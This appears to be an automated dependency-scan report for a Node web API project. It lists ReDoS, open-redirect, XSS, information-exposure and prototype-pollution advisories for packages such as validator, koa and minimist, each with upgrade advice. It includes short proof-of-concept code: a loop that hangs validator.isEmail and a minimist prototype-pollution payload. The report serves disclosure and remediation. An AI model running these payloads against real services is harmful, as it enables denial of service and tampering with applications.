  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: validator@10.11.0 and graphql-constraint-directive@1.4.1

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › validator@10.11.0
    Remediation: Upgrade to validator@13.6.0.
  • Introduced through: bm-api@banmanagement/banmanager-webapi › graphql-constraint-directive@1.4.1 › validator@10.11.0
    Remediation: Upgrade to graphql-constraint-directive@2.2.0.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isEmail function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = ""
    for (var i = 0; i < n; i++) {
        ret += "<"
    }

    return ret+"";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        validator.isEmail(attack_str,{ allow_display_name: true })
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Open Redirect

  • Vulnerable module: koa
  • Introduced through: koa@2.11.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › koa@2.11.0
    Remediation: Upgrade to koa@2.16.2.

Overview

koa is a Koa web app framework

Affected versions of this package are vulnerable to Open Redirect via the back function in lib/response.js which uses the user-controllable referrer header as the redirect target. An attacker can redirect users to arbitrary external sites by manipulating the Referrer argument.

Remediation

Upgrade koa to version 2.16.2, 3.0.1 or higher.

References

medium severity

MPL-2.0 license

  • Module: web-push
  • Introduced through: web-push@3.4.3

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › web-push@3.4.3

MPL-2.0 license

low severity

Information Exposure

  • Vulnerable module: apollo-server-core
  • Introduced through: apollo-server-koa@1.4.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › apollo-server-koa@1.4.0 › apollo-server-core@1.4.0
    Remediation: Upgrade to apollo-server-koa@2.1.0.

Overview

apollo-server-core is a core module of the Apollo community GraphQL Server.

Affected versions of this package are vulnerable to Information Exposure when it can log sensitive information, such as Studio API keys, if they are passed incorrectly with leading/trailing whitespace or if they have any characters that are invalid as part of a header value.

Note Users are affected only if all the conditions are true:

  • Use either the schema reporting or usage reporting feature.

  • Use an Apollo Studio API key which has invalid header values.

  • Use the default fetcher (node-fetch) or configure their own node-fetch fetcher

Workaround

  1. Try retrieving a new API key from Studio. Note: This may not work if the invalid character is not part of the secret (it may be derived from identifiers like graph name, user name).

  2. Override the fetcher

  3. Disable schema reporting and/or usage reporting

Remediation

Upgrade apollo-server-core to version 2.26.1, 3.12.1 or higher.

References

low severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: db-migrate@0.11.6

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › db-migrate@0.11.6 › optimist@0.6.1 › minimist@0.0.10

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution due to a missing handler to Function.prototype.

Notes:

  • This vulnerability is a bypass to CVE-2020-7598

  • The reason for the different CVSS between CVE-2021-44906 to CVE-2020-7598, is that CVE-2020-7598 can pollute objects, while CVE-2021-44906 can pollute only function.

PoC by Snyk

require('minimist')('--_.constructor.constructor.prototype.foo bar'.split(' '));
console.log((function(){}).foo); // bar

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.4, 1.2.6 or higher.

References

low severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: hibp@7.5.2

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › hibp@7.5.2 › axios@0.19.2 › follow-redirects@1.5.10
    Remediation: Upgrade to hibp@8.0.1.

Overview

Affected versions of this package are vulnerable to Information Exposure due a leakage of the Authorization header from the same hostname during HTTPS to HTTP redirection. An attacker who can listen in on the wire (or perform a MITM attack) will be able to receive the Authorization header due to the usage of the insecure HTTP protocol which does not verify the hostname the request is sending to.

Remediation

Upgrade follow-redirects to version 1.14.8 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: koa
  • Introduced through: koa@2.11.0

Detailed paths

  • Introduced through: bm-api@banmanagement/banmanager-webapi › koa@2.11.0
    Remediation: Upgrade to koa@2.16.1.

Overview

koa is a Koa web app framework

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the ctx.redirect() function. An attacker can execute scripts on the user's browser or redirect users to malicious sites by supplying malicious input as an achor reference.

Workaround

This vulnerability can be mitigated by ensuring all user-supplied URLs are properly sanitized before being passed to ctx.redirect.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade koa to version 2.16.1, 3.0.0-alpha.5 or higher.

References